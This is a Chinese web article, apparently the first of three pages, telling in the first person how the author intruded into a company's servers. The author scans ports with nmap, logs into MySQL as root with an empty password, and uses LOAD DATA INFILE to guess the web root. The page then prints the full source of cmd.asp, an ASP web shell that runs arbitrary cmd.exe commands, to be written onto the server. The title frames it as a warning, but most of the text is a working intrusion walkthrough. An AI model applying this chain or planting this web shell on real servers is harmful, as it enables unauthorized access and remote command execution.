PHP用户须警惕:通过Mysql入侵服务器


烈火建站学院(LieHuo.Net)转载 某天晚上在IRC的时候,一个老朋友说帮他看看他的新主页的安全性,然后给出URL是abc.target.net,我一看觉得挺眼熟的,target.net公司里面的CEO,人事部经理,网管我都认识的,前段时间还差点去了那里做网管呢,那就看看他们的服务器做的如何吧。
  
  随后用nmap扫描了一下abc.target.net,发现开的端口挺多的,看来没有安装防火墙或做TCP/IP过滤。从IIS版本判断是Windows 2000的服务器。IIS没什么好利用的,一看开了3306端口,是mysql的,就用我的mysql客户端尝试连接了一下,root的密码竟然为空,后来就觉得没有多大意思,于是把目标转到www.target.net,他们的主站,哈哈。
  
  Ok!先用nmap扫描一下,扫描结果如下:

以下为引用的内容:
  25/tcp open smtp
  53/tcp open domain
  80/tcp open http
  110/tcp open pop-3
  389/tcp open ldap
  1002/tcp open unknown
  3306/tcp open mysql
  
  然后从IIS版本判断目标是windows 2000服务器。从开放的端口来看,它要么是安装了防火墙,要么是做了TCP/IP过滤,比abc.target.net有意思多了。从25和110端口返回的数据来看,他们用的邮件服务器是IMail 6.04,没什么可利用的。IIS上面网管做了安全配置,一些默认的CGI漏洞也没有,这也没什么好利用的。只剩下最后一个端口了,习惯性的用我的mysql客户端连接试试:
  
以下为引用的内容:
  F:\cmd>mysql -u root -h www.target.net
  Welcome to the MySQL monitor. Commands end with ; or \g.
  Your MySQL connection id is 3038 to server version: 3.23.21-beta
  Type 'help;' or '\h' for help. Type '\c' to clear the buffer
  mysql>

  不好意思,看来网管没有给mysql帐号root设置一个密码,是默认的空密码,那么我们就可以利用这个漏洞来做点什么了。如果是MS-SQL数据库的话就好办啦,直接可以用xp_cmdshell来运行系统命令,但是可惜的是mysql没有类似MS-SQL那样的扩展存储过程。
  
  现在我们可以利用这个漏洞来做三件事情:
  <1>搜索mysql数据库里面的内容,看能不能找出一些有用的敏感信息,我找了一会儿就不想找了
  
  <2>读取服务器上的任何文件,当然前提是知道文件的物理路径
  
  <3>以启动mysql服务用户的权限往服务器上写文件,前提是这个文件要不存在的,就是说不能覆盖文件
  
  如果我们知道IIS主目录的物理路径的话,我们就可以往上面写一个ASP上去,然后通过IE来执行系统命令。怎么得到IIS目录的物理路径呢?天知道!没办法,猜吧。。。。。。先在mysql默认数据库test中建一个表tmp,这个表只有一个字段str,类型为TEXT,
  
  mysql> use test;create table tmp(str TEXT);
  Database changed
  Query OK, 0 rows affected (0.05 sec)
  
  然后凭着自己做网管的直觉,开始猜测IIS主目录的物理路径,c:\inetpub\wwwroot,c:\www,c:\wwwroot,c:\inetpub\web,d:\web,d:\wwwroot,都不对,55555。大概猜测到第10次,我的mysql客户端回显信息如下:
  
  mysql> load data infile "d:\\www\\gb\\about\\about.htm" into table tmp;
  Query OK, 235 rows affected (0.05 sec)
  Records: 235 Deleted: 0 Skipped: 0 Warnings: 0
  
  哈哈哈,猜中了,IIS主目录的物理路径是d:\www,因为上面的文件的虚拟路径是http://www.target.net/gb/about/about.htm,看来我得到一个shell了。
  
  接下来我们就可以往d:\www\gb\about里面写一个ASP文件进去,然后通过http://www.target.net/gb/about/cmd.asp来执行系统命令了。
  
  然后在网上找来一个现成的cmd.asp,懒的自己去写了:)。Cmd.asp如下:
以下为引用的内容:
  -------------------------------cmd.asp----------------------------------------
  
  <% Dim oScript
  Dim oScriptNet
  Dim oFileSys, oFile
  Dim szCMD, szTempFile
  On Error Resume Next
  Set oScript = Server.CreateObject(""WSCRIPT.SHELL"")
  Set oScriptNet = Server.CreateObject(""WSCRIPT.NETWORK"")
  Set oFileSys = Server.CreateObject(""Scripting.FileSystemObject"")
  szCMD = Request.Form("".CMD"")
  If (szCMD <> """") Then
  szTempFile = ""C:\" & oFileSys.GetTempName()
  Call oScript.Run (""cmd.exe /c "" & szCMD & "" > "" & szTempFile, 0, True)
  Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
  End If %>
  <HTML><BODY><FORM action=""<%= Request.ServerVariables(""URL"") %>"" method=""POST"">
  <input type=text name="".CMD"" size=45 value=""<%= szCMD %>""><input type=submit value=""Run""></FORM><PRE>
  <% If (IsObject(oFile)) Then
  On Error Resume Next
  Response.Write Server.HTMLEncode(oFile.ReadAll)
  oFile.Close
  Call oFileSys.DeleteFile(szTempFile, True)
  End If%>
  </BODY></HTML>
  
  ----------------------------end of cmd.asp-----------------------------------
  
  • 共3页:
  • 上一页
  • 1
  • 2
  • 3
  • 下一页

相关内容